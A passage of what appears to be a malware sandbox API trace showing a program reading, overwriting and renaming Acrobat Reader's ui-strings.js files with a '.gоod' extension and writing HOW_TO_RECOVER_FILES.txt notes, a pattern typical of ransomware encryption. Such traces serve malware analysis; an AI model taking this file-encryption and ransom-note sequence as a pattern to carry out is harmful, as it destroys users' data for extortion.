ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0213.211] FindNextFileW (in: hFindFile=0x134b460, lpFindFileData=0x203eb200 | out: lpFindFileData=0x203eb200*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xeea02b54, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeea02b54, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeea02b54, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x6ec, dwReserved0=0x0, dwReserved1=0x0, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 1 [0213.211] FindNextFileW (in: hFindFile=0x134b460, lpFindFileData=0x203eb200 | out: lpFindFileData=0x203eb200*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0213.211] FindClose (in: hFindFile=0x134b460 | out: hFindFile=0x134b460) returned 1 [0213.212] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x203eb460) returned 1 [0213.212] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x203eb420) returned 1 [0213.212] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x203eb520) returned 1 [0213.212] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\add-account\\js\\nls\\nb-no", nBufferLength=0x105, lpBuffer=0x203eafc0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\add-account\\js\\nls\\nb-no", lpFilePart=0x0) returned 0x77 [0213.212] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\add-account\\js\\nls\\nb-no\\*", lpFindFileData=0x203eb240 | out: lpFindFileData=0x203eb240*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeea02b54, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeea02b54, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeea02b54, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x134ad40 [0213.212] FindNextFileW (in: hFindFile=0x134ad40, lpFindFileData=0x203eb200 | out: lpFindFileData=0x203eb200*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeea02b54, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeea02b54, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeea02b54, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0213.212] FindNextFileW (in: hFindFile=0x134ad40, lpFindFileData=0x203eb200 | out: lpFindFileData=0x203eb200*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xeea02b54, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeea02b54, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeea02b54, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x6ec, dwReserved0=0x0, dwReserved1=0x0, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 1 [0213.212] FindNextFileW (in: hFindFile=0x134ad40, lpFindFileData=0x203eb200 | out: lpFindFileData=0x203eb200*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xeea02b54, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeea02b54, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeea02b54, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x6ec, dwReserved0=0x0, dwReserved1=0x0, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 0 [0213.212] FindClose (in: hFindFile=0x134ad40 | out: hFindFile=0x134ad40) returned 1 [0213.212] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x203eb460) returned 1 [0213.212] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x203eb420) returned 1 [0213.213] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\add-account\\js\\nls\\nb-no\\ui-strings.js", nBufferLength=0x105, lpBuffer=0x203eae00, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\add-account\\js\\nls\\nb-no\\ui-strings.js", lpFilePart=0x0) returned 0x85 [0213.213] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x203eb2d0) returned 1 [0213.213] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\add-account\\js\\nls\\nb-no\\ui-strings.js" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\plugins\\add-account\\js\\nls\\nb-no\\ui-strings.js"), fInfoLevelId=0x0, lpFileInformation=0x3715688 | out: lpFileInformation=0x3715688*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xeea02b54, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeea02b54, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeea02b54, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x6ec)) returned 1 [0213.213] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x203eb290) returned 1 [0213.213] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\add-account\\js\\nls\\nb-no\\ui-strings.js", nBufferLength=0x105, lpBuffer=0x203eac60, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\add-account\\js\\nls\\nb-no\\ui-strings.js", lpFilePart=0x0) returned 0x85 [0213.213] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x203eb180) returned 1 [0213.213] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\add-account\\js\\nls\\nb-no\\ui-strings.js" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\plugins\\add-account\\js\\nls\\nb-no\\ui-strings.js"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x820 [0213.213] GetFileType (hFile=0x820) returned 0x1 [0213.213] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x203eb0f0) returned 1 [0213.213] GetFileType (hFile=0x820) returned 0x1 [0213.213] GetFileSize (in: hFile=0x820, lpFileSizeHigh=0x203eb328 | out: lpFileSizeHigh=0x203eb328*=0x0) returned 0x6ec [0213.213] ReadFile (in: hFile=0x820, lpBuffer=0x3716120, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x203eb258, lpOverlapped=0x0 | out: lpBuffer=0x3716120*, lpNumberOfBytesRead=0x203eb258*=0x6ec, lpOverlapped=0x0) returned 1 [0213.215] CloseHandle (hObject=0x820) returned 1 [0213.279] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x203eb180) returned 1 [0213.279] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\add-account\\js\\nls\\nb-no\\ui-strings.js" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\plugins\\add-account\\js\\nls\\nb-no\\ui-strings.js"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x820 [0213.280] GetFileType (hFile=0x820) returned 0x1 [0213.280] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x203eb0f0) returned 1 [0213.281] GetFileType (hFile=0x820) returned 0x1 [0213.281] WriteFile (in: hFile=0x820, lpBuffer=0x378f868*, nNumberOfBytesToWrite=0x6f0, lpNumberOfBytesWritten=0x203eb168, lpOverlapped=0x0 | out: lpBuffer=0x378f868*, lpNumberOfBytesWritten=0x203eb168*=0x6f0, lpOverlapped=0x0) returned 1 [0213.282] CloseHandle (hObject=0x820) returned 1 [0213.282] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\add-account\\js\\nls\\nb-no\\ui-strings.js", nBufferLength=0x105, lpBuffer=0x203eae00, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\add-account\\js\\nls\\nb-no\\ui-strings.js", lpFilePart=0x0) returned 0x85 [0213.282] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\add-account\\js\\nls\\nb-no\\ui-strings.js.gоod", nBufferLength=0x105, lpBuffer=0x203eae00, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\add-account\\js\\nls\\nb-no\\ui-strings.js.gоod", lpFilePart=0x0) returned 0x8a [0213.282] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x203eb290) returned 1 [0213.282] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\add-account\\js\\nls\\nb-no\\ui-strings.js" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\plugins\\add-account\\js\\nls\\nb-no\\ui-strings.js"), fInfoLevelId=0x0, lpFileInformation=0x203eb370 | out: lpFileInformation=0x203eb370*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xeea02b54, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeea02b54, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0x7b5601f9, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x6f0)) returned 1 [0213.282] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x203eb250) returned 1 [0213.282] MoveFileW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\add-account\\js\\nls\\nb-no\\ui-strings.js" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\plugins\\add-account\\js\\nls\\nb-no\\ui-strings.js"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\add-account\\js\\nls\\nb-no\\ui-strings.js.gоod" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\plugins\\add-account\\js\\nls\\nb-no\\ui-strings.js.gоod")) returned 1 [0213.283] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\add-account\\js\\nls\\nb-no\\HOW_TO_RECOVER_FILES.txt", nBufferLength=0x105, lpBuffer=0x203eaf70, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\add-account\\js\\nls\\nb-no\\HOW_TO_RECOVER_FILES.txt", lpFilePart=0x0) returned 0x90 [0213.283] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x203eb490) returned 1 [0213.283] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\add-account\\js\\nls\\nb-no\\HOW_TO_RECOVER_FILES.txt" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\plugins\\add-account\\js\\nls\\nb-no\\how_to_recover_files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x828 [0214.288] GetFileType (hFile=0x828) returned 0x1 [0214.288] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x203eb400) returned 1 [0214.288] GetFileType (hFile=0x828) returned 0x1 [0214.413] WriteFile (in: hFile=0x828, lpBuffer=0x36817a8*, nNumberOfBytesToWrite=0x5d0, lpNumberOfBytesWritten=0x203eb558, lpOverlapped=0x0 | out: lpBuffer=0x36817a8*, lpNumberOfBytesWritten=0x203eb558*=0x5d0, lpOverlapped=0x0) returned 1 [0214.414] CloseHandle (hObject=0x828) returned 1 [0214.452] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x203eb520) returned 1 [0214.452] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\add-account\\js\\nls\\nl-nl", nBufferLength=0x105, lpBuffer=0x203eafc0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\add-account\\js\\nls\\nl-nl", lpFilePart=0x0) returned 0x77 [0214.452] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\add-account\\js\\nls\\nl-nl\\*", lpFindFileData=0x203eb240 | out: lpFindFileData=0x203eb240*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeea28dac, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeea28dac, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeea4f00c, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1ec322f0 [0214.452] FindNextFileW (in: hFindFile=0x1ec322f0, lpFindFileData=0x203eb200 | out: lpFindFileData=0x203eb200*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeea28dac, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeea28dac, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeea4f00c, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0214.452] FindNextFileW (in: hFindFile=0x1ec322f0, lpFindFileData=0x203eb200 | out: lpFindFileData=0x203eb200*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xeea4f00c, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeea4f00c, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeea4f00c, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x732, dwReserved0=0x0, dwReserved1=0x0, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 1 [0214.452] FindNextFileW (in: hFindFile=0x1ec322f0, lpFindFileData=0x203eb200 | out: lpFindFileData=0x203eb200*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0214.453] FindClose (in: hFindFile=0x1ec322f0 | out: hFindFile=0x1ec322f0) returned 1 [0214.453] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x203eb460) returned 1 [0214.453] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x203eb420) returned 1 [0214.453] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x203eb520) returned 1 [0214.453] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\add-account\\js\\nls\\nl-nl", nBufferLength=0x105, lpBuffer=0x203eafc0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\add-account\\js\\nls\\nl-nl", lpFilePart=0x0) returned 0x77 [0214.453] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\add-account\\js\\nls\\nl-nl\\*", lpFindFileData=0x203eb240 | out: lpFindFileData=0x203eb240*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeea28dac, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeea28dac, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeea4f00c, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1ec322f0 [0214.453] FindNextFileW (in: hFindFile=0x1ec322f0, lpFindFileData=0x203eb200 | out: lpFindFileData=0x203eb200*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeea28dac, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeea28dac, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeea4f00c, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0214.453] FindNextFileW (in: hFindFile=0x1ec322f0, lpFindFileData=0x203eb200 | out: lpFindFileData=0x203eb200*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xeea4f00c, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeea4f00c, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeea4f00c, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x732, dwReserved0=0x0, dwReserved1=0x0, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 1 [0214.453] FindNextFileW (in: hFindFile=0x1ec322f0, lpFindFileData=0x203eb200 | out: lpFindFileData=0x203eb200*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xeea4f00c, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeea4f00c, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeea4f00c, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x732, dwReserved0=0x0, dwReserved1=0x0, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 0 [0214.454] FindClose (in: hFindFile=0x1ec322f0 | out: hFindFile=0x1ec322f0) returned 1 [0214.454] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x203eb460) returned 1 [0214.454] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x203eb420) returned 1 [0214.454] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\add-account\\js\\nls\\nl-nl\\ui-strings.js", nBufferLength=0x105, lpBuffer=0x203eae00, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\add-account\\js\\nls\\nl-nl\\ui-strings.js", lpFilePart=0x0) returned 0x85 [0214.454] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x203eb2d0) returned 1 [0214.454] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\add-account\\js\\nls\\nl-nl\\ui-strings.js" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\plugins\\add-account\\js\\nls\\nl-nl\\ui-strings.js"), fInfoLevelId=0x0, lpFileInformation=0x34a30a8 | out: lpFileInformation=0x34a30a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xeea4f00c, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeea4f00c, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeea4f00c, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x732)) returned 1 [0214.454] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x203eb290) returned 1 [0214.454] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\add-account\\js\\nls\\nl-nl\\ui-strings.js", nBufferLength=0x105, lpBuffer=0x203eac60, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\add-account\\js\\nls\\nl-nl\\ui-strings.js", lpFilePart=0x0) returned 0x85 [0214.454] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x203eb180) returned 1 [0214.454] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\add-account\\js\\nls\\nl-nl\\ui-strings.js" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\plugins\\add-account\\js\\nls\\nl-nl\\ui-strings.js"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x828 [0214.454] GetFileType (hFile=0x828) returned 0x1 [0214.454] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x203eb0f0) returned 1 [0214.454] GetFileType (hFile=0x828) returned 0x1 [0214.454] GetFileSize (in: hFile=0x828, lpFileSizeHigh=0x203eb328 | out: lpFileSizeHigh=0x203eb328*=0x0) returned 0x732 [0214.454] ReadFile (in: hFile=0x828, lpBuffer=0x34a3b88, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x203eb258, lpOverlapped=0x0 | out: lpBuffer=0x34a3b88*, lpNumberOfBytesRead=0x203eb258*=0x732, lpOverlapped=0x0) returned 1 [0214.456] CloseHandle (hObject=0x828) returned 1 [0215.416] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\add-account\\js\\nls\\nl-nl\\ui-strings.js", nBufferLength=0x105, lpBuffer=0x203eac60, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\add-account\\js\\nls\\nl-nl\\ui-strings.js", lpFilePart=0x0) returned 0x85 [0215.416] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x203eb180) returned 1 [0215.416] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\add-account\\js\\nls\\nl-nl\\ui-strings.js" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\plugins\\add-account\\js\\nls\\nl-nl\\ui-strings.js"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x478 [0215.418] GetFileType (hFile=0x478) returned 0x1 [0215.418] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x203eb0f0) returned 1 [0215.418] GetFileType (hFile=0x478) returned 0x1 [0215.418] WriteFile (in: hFile=0x478, lpBuffer=0x39dc148*, nNumberOfBytesToWrite=0x740, lpNumberOfBytesWritten=0x203eb168, lpOverlapped=0x0 | out: lpBuffer=0x39dc148*, lpNumberOfBytesWritten=0x203eb168*=0x740, lpOverlapped=0x0) returned 1 [0215.419] CloseHandle (hObject=0x478) returned 1 [0215.419] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\add-account\\js\\nls\\nl-nl\\ui-strings.js", nBufferLength=0x105, lpBuffer=0x203eae00, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\add-account\\js\\nls\\nl-nl\\ui-strings.js", lpFilePart=0x0) returned 0x85 [0215.419] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\add-account\\js\\nls\\nl-nl\\ui-strings.js.gоod", nBufferLength=0x105, lpBuffer=0x203eae00, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\add-account\\js\\nls\\nl-nl\\ui-strings.js.gоod", lpFilePart=0x0) returned 0x8a [0215.419] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x203eb290) returned 1 [0215.419] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\add-account\\js\\nls\\nl-nl\\ui-strings.js" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\plugins\\add-account\\js\\nls\\nl-nl\\ui-strings.js"), fInfoLevelId=0x0, lpFileInformation=0x203eb370 | out: lpFileInformation=0x203eb370*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xeea4f00c, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeea4f00c, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0x7c9d15a8, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x740)) returned 1 [0215.419] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x203eb250) returned 1 [0215.419] MoveFileW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\add-account\\js\\nls\\nl-nl\\ui-strings.js" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\plugins\\add-account\\js\\nls\\nl-nl\\ui-strings.js"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\add-account\\js\\nls\\nl-nl\\ui-strings.js.gоod" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader 